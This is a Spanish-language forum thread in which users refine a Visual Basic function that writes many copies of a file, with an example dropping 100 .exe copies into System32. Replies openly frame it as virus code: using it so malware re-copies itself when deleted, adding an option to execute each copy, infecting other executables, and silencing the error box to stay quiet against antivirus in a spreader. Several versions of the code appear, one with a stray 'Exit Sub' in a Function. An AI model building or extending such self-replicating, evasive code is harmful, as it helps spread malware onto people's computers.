Mostrar mensajes previos
Ordenar por
por |||L1v3H|||
Bueno esta function la hize porque estaba aburrido y lo unico que se me vino a la cabeza fue esto... Gracias a K-0Z Por darme animos de postearlo ... se trata de sacar Multiples Copias a un archivo .... es una bobada pero si me dan alguna idea de hacer algo mejor hasta lo intente

Código: Seleccionar todo

Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String)
On Error GoTo Cancel
Dim i As Integer

For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
Next i

Cancel:
MsgBox Err, vbCritical
End
End Function
Modo de uso:

Código: Seleccionar todo

Call FileMassive DatosDelArchivo,100, Environ("Windir") & "\System32","Exe"
Donde

DatosDelArchivo = Datos Del Archivo a sacar Copia
100 = Numero De Copias a Crear
Environ("Windir") & "\System32" = Ruta donde se guardaran las copias
"Exe" = La Extension

Espero os guste
por Democres Delirios esporádicos
muy bueno serviria para añadirle una funcion a un virus en una sentencia de decicion de codigo ejemplo si me borran me auto copio las veces con la funcion de LIVEH
DEMOCRES
por K-0Z Se conecta desde un manicomio
muy bueno, seria mejor si pusieras una opcion de shell execute o de infectar a los demas exes, otra cosa pon un doevents


// Salu2
por |||L1v3H|||
K-0Z escribió:muy bueno, seria mejor si pusieras una opcion de shell execute o de infectar a los demas exes, otra cosa pon un doevents


// Salu2
No seria asi?

Código: Seleccionar todo

Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String)
On Error GoTo Cancel
Dim i As Integer

For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
Shell Dest & "\File" & i & "." & Extension
Next i

Cancel:
MsgBox Err, vbCritical
End
End Function
corrijame si es asi o algo mas...
por orlando9427 Se conecta desde un manicomio
Estas bien pero te falta el DoEvents para liberar memoria si haces simplemente eso cuando ejecutes la función con gran catidad de ficheros a crear simplemente dejará de funcionar o se cerrará poselos antes de la Shell y antes del Next con eso se me hace suficiente :P
Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
por K-0Z Se conecta desde un manicomio
|||L1v3H||| escribió:
K-0Z escribió:muy bueno, seria mejor si pusieras una opcion de shell execute o de infectar a los demas exes, otra cosa pon un doevents


// Salu2
No seria asi?

Código: Seleccionar todo

Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String)
On Error GoTo Cancel
Dim i As Integer

For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
Shell Dest & "\File" & i & "." & Extension
Next i

Cancel:
MsgBox Err, vbCritical
End
End Function
corrijame si es asi o algo mas...
mas o menos asi:

Código: Seleccionar todo

Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String, Optional Execute as boolean) as integer
On Error GoTo Cancel
Dim i As Integer

For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
if Execute then Shell Dest & "\File" & i & "." & Extension
Next i
FileMassive = 1
exit sub
Cancel:
MsgBox Err, vbCritical
FileMassive = 0 ' Creo que esta linea no hace falta ya que la variable toma 0  :g: 
End Function
// Salu2
por orlando9427 Se conecta desde un manicomio
K-0Z escribió:
|||L1v3H||| escribió:
K-0Z escribió:muy bueno, seria mejor si pusieras una opcion de shell execute o de infectar a los demas exes, otra cosa pon un doevents


// Salu2
No seria asi?

Código: Seleccionar todo

Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String)
On Error GoTo Cancel
Dim i As Integer

For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
Shell Dest & "\File" & i & "." & Extension
Next i

Cancel:
MsgBox Err, vbCritical
End
End Function
corrijame si es asi o algo mas...
mas o menos asi:

Código: Seleccionar todo

Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String, Optional Execute as boolean) as integer
On Error GoTo Cancel
Dim i As Integer

For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
if Execute then Shell Dest & "\File" & i & "." & Extension
Next i
FileMassive = 1
exit sub
Cancel:
MsgBox Err, vbCritical
FileMassive = 0 ' Creo que esta linea no hace falta ya que la variable toma 0  :g: 
End Function
// Salu2
Bueno se les siguen olvidando los DoEvents asi que yo se los pondre

Código: Seleccionar todo

Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String, Optional Execute as boolean) as integer
On Error GoTo Cancel
Dim i As Integer

For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
DoEvents
if Execute then Shell Dest & "\File" & i & "." & Extension
DoEvents
Next i
FileMassive = 1
exit sub
Cancel:
'MsgBox Err, vbCritical
FileMassive = 0 ' Creo que esta linea no hace falta ya que la variable toma 0  :g: 
End Function
En todo caso si se pone en un Spread no veo la necesidad del MsgBox, solo andaría de gritón y para los oidos sensibles de los AV es mucho xD pero bueno como ustedes vean
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
por |||L1v3H|||
No deberia ser asi?

Código: Seleccionar todo

Function FileMassive(Src As String, Cantidad As String, Dest As String, Extension As String, Optional Execute As Boolean) As Integer
On Error GoTo Cancel
Dim i As Integer

For i = 1 To Cantidad
Open Dest & "\File" & i & "." & Extension For Binary As 1
Put 1, , Src
Close 1
DoEvents
If Execute = True Then Shell Dest & "\File" & i & "." & Extension
DoEvents
Next i
FileMassive = 1
Exit Sub
Cancel:
'MsgBox Err, vbCritical
FileMassive = 0 ' Creo que esta linea no hace falta ya que la variable toma 0  :g:
End Function
por K-0Z Se conecta desde un manicomio
|||L1v3H||| escribió:No deberia ser asi?
En el msn escribió: *asi que es lo mismo, if YO = true then
*a if yo then
*o
*if instr(String,cadena) > 0 then
*if instr(String,cadena) then
Temas similares
Links sobre el tema
Variantes de tema
Responder

Volver a “Otros lenguajes”